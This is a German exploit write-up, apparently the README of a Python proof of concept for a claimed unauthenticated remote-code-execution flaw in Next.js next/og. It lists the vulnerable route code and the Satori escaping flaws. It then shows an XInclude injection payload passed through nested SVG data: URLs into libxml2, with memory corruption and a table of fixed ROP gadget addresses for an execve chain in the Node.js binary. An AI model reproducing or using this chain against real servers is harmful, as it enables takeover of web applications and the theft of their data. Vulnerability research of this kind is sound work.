
Python-PoC für CVE-2026-94545: nutzt nicht maskierte SVG-Eingaben in Next.js next/og aus, um eine libxml2-Korruption und eine ROP-Chain für unauthentifizierte RCE auszulösen.
next/og Nicht authentifizierte Remote-Code-AusführungNur für Sicherheitsforschung, in autorisierten Schwachstellenumgebungen.
| Element | Wert |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| Upstream | Satori GHSA-wx4j-mvgx-mqwp |
| Ursache | CWE-116 (Improper Encoding or Escaping of Output) → Speicherbeschädigung im nativen XML-Parser → RCE |
| Betroffen | Next.js 16.2.0 – 16.3.5 (Node-Runtime mit installiertem sharp); mitgeliefertes Satori ≥ 0.0.27 und < 0.33.5 |
| Behoben | Next.js 16.3.6 / Satori 0.33.5 |
| Auswirkung | Ausführen beliebiger Befehle im Next.js-Dienstprozess ohne Authentifizierung |
| Getesteter Stack | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + Node.js v24.20.0 offizielles x64-Binary (non-PIE) |
Bei der Edge-Runtime (export const runtime = 'edge') oder wenn sharp nicht installiert ist, erfolgt das Rendering über die resvg-wasm-Sandbox, sodass diese Schwachstelle die native Parsing-Kette nicht erreicht und daher nicht zur RCE wird.
Benutzereingaben werden als Klartext in das SVG eingefügt, und dieses SVG wird dann vollständig in eine data:-URL gestopft und einem XML-Parser in C übergeben, der es ein zweites Mal parst. Dazwischen wird lediglich URL-Encoding durchgeführt; XML-Escaping findet nie statt.
Typisches Muster: POST /api/og platziert den gesamten Request-Body, oder GET /api/og?value= platziert den Query-Parameter, direkt in das SVG-<title> von ImageResponse, ohne Filterung oder Escaping.
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse empfängt einen JSX-Elementbaum und gibt ein PNG zurück. Jede Route, die Anfragedaten in SVG-Kindknoten / Attribute / Styles schreibt, ist eine Senke.
next/og-Einstiegspunktsnode_modules/next/og.js leitet an next/dist/server/og/image-response.js weiter. Die Node-Laufzeit lädt dynamisch next/dist/compiled/@vercel/og/index.node.js (nativer Pfad); die Edge-Laufzeit lädt den wasm-Pfad und ist von dieser Schwachstelle nicht betroffen.
@vercel/og — Satori erzeugt das SVG und übergibt es dann zur RasterisierungDer Ablauf des von Next.js gebündelten @vercel/og (Kommentare im kompilierten Artefakt bestätigen, dass es [email protected] enthält) ist:
sharp erkannt wird, das SVG an die native Bibliothek zur Rasterisierung übergeben; andernfalls auf resvg-wasm zurückfallen.const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
An diesem Punkt ist die Benutzereingabe bereits zu einem SVG-String geworden und wird unverändert an sharp (native libvips) übergeben.
Für ein <svg>, das explizit in JSX geschrieben wurde, serialisiert Satori es vollständig in eine data:image/svg+xml-URL und bettet es dann als <image> in die Ausgabe ein.
vercel/[email protected] src/layout.ts: ruft SVGNodeToImage auf, wenn ein <svg>-Knoten betreten wird.
src/handler/preprocess.ts hat zwei entscheidende Schwachstellen:
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&, < und > werden nicht als & / < / > geschrieben. Die Prozentkodierung ist lediglich eine Anforderung der URL-Syntax; wenn der nachgelagerte Parser die data:-URL lädt, wird %3C/title%3E in ein echtes </title> zurückverwandelt, und der Text des Angreifers geht von „Daten“ zurück in „Dokumentstruktur“ über.
Wenn die Eingabe </title><xi:include …/><title> lautet, nimmt das von Satori an sharp übergebene Zwischen-SVG die folgende Form an (zur Veranschaulichung dekodiert):
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
Die Payload nutzt zwei Injektionsebenen, um die Eingabestruktur von libxml2 zu steuern:
</title><xi:include parse="xml" href="data:…"> bringt den Parser dazu, ein verschachteltes Dokument zu laden, das vollständig vom Angreifer kontrolliert wird.Der interne Zustand von libxml2 wird über die Erwartungen hinaus belastet, was zu einem Out-of-Bounds-Write führt. Der Korruptionseffekt wird zuverlässig über sorgfältig angeordnete SVG-<path>-Koordinatensequenzen (IEEE-754-Doubles, die 8-Byte-Little-Endian-Wörter tragen) herbeigeführt, wodurch der Kontrollfluss gekapert wird.
execveDas offiziell veröffentlichte Node.js-linux-x64-Binary ist eine Non-PIE-Executable mit fester Ladebasis; PLT-/GOT- und Gadget-Adressen sind konstant, sodass kein Informationsleck erforderlich ist.
Dieser PoC ist gegen Node.js v24.20.0 offizielles x64 gebaut; die Gadgets sind wie folgt:
| Symbol | Adresse | Zweck |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (schreibt Qword für Qword in den Scratch-Bereich) |
EXECVE_PLT | 0x745FA0 | PLT-Stub von execve |
SCRATCH | 0x6B5F500 | Feste beschreibbare Adresse |